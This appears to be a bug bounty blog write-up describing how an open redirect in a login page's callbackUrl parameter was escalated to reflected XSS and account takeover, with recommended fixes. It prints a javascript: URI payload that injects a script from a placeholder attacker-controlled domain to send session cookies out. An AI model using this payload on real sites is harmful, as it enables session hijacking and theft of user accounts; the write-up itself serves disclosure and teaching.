September 24, 2026
From Open Redirect to Account Takeover: How I Turned a "Low" Bug into a $1,500 Critical π¨π°
###

By Rohith S
2 min read
Or:
Why You Should Never Stop at "Just an Open Redirect"
So here's the thing about bug bounty hunting β most hunters find an open redirect, shrug, report it as P4/Low, and move on. I used to do that too. Until I learned a simple lesson that changed my entire methodology:
An open redirect is never "just" an open redirect. It's a doorway. Always check what's behind it. π
This is the story of how a boring callbackUrl parameter turned into full Account Takeover β and a $1,500 bounty.
π The Discovery
While testing the login flow of a target application (redacted for responsible disclosure), I noticed a familiar pattern:
https://[REDACTED-TARGET]/admin/login?callbackUrl=[value]https://[REDACTED-TARGET]/admin/login?callbackUrl=[value]Classic callbackUrl / redirect_uri parameter. My first instinct used to be: "cool, open redirect, low severity, report and move on."
But not this time.
π§ The Mindset Shift
Instead of just proving the redirect worked, I asked myself:
"What if this parameter doesn't just redirect... what if it executes?"
I tried swapping the destination for a javascript: URI scheme instead of a normal URL:
javascript:alert(document.domain)javascript:alert(document.domain)Andβ¦ π₯ it fired. No sanitization. No scheme validation. The application happily accepted javascript: as a valid callback destination and executed it in the browser context.
That "low severity" open redirect had just become a Reflected XSS.
β‘ Escalating to Account Takeover
A javascript: XSS is fun for a popup, but bounty programs (rightly) want impact. So I pushed further β could I use this execution context to steal session data from a logged-in user?
I crafted a payload that dynamically injects an external script tag, pulling from an attacker-controlled endpoint:
javascript:eval('var a=document.createElement("script");a.src="https://[ATTACKER-CONTROLLED-DOMAIN]/c";document.body.appendChild(a)')javascript:eval('var a=document.createElement("script");a.src="https://[ATTACKER-CONTROLLED-DOMAIN]/c";document.body.appendChild(a)')When a logged-in victim (or admin π) clicked this link, their browser would:
- Load the login page normally β
- Silently execute the injected script β
- Beacon their session/cookie data back to my listener β
That's the full chain:
Open Redirect β Reflected XSS β Session Hijacking β Account Takeover
π₯ Impact
If exploited against an admin:
- πͺ Full session cookie theft
- π Complete admin panel compromise
- π Access to customer/business data
- π Ability to perform actions as the victim (fraud, data manipulation, etc.)
That's a straight line from a "cosmetic" redirect bug to platform-wide compromise.
π‘οΈ The Fix (What I Recommended)
- β Whitelist allowed redirect domains/paths β never trust user input for destinations
- β
Explicitly reject dangerous URI schemes (
javascript:,data:,vbscript:) - β Proper output encoding wherever user input is reflected
- β A strong Content-Security-Policy to blunt injected script execution
- β
HttpOnly+Secureflags on all auth cookies
π΅ The Result
What started as a bug I almost didn't report ended up validated as Critical severity and rewarded at $1,500. π
π― The Lesson
If you're bug hunting and you find an open redirect β don't stop there. Try:
javascript:scheme injection- Protocol-relative URLs
- Chaining it into your XSS/CSRF testing
- Thinking about who clicks that link and what they're logged into
Low-severity findings are often just the first domino. Push a little further before you write the report.
If this helped you rethink how you triage "boring" bugs, drop a follow/clap π β more writeups like this coming soon.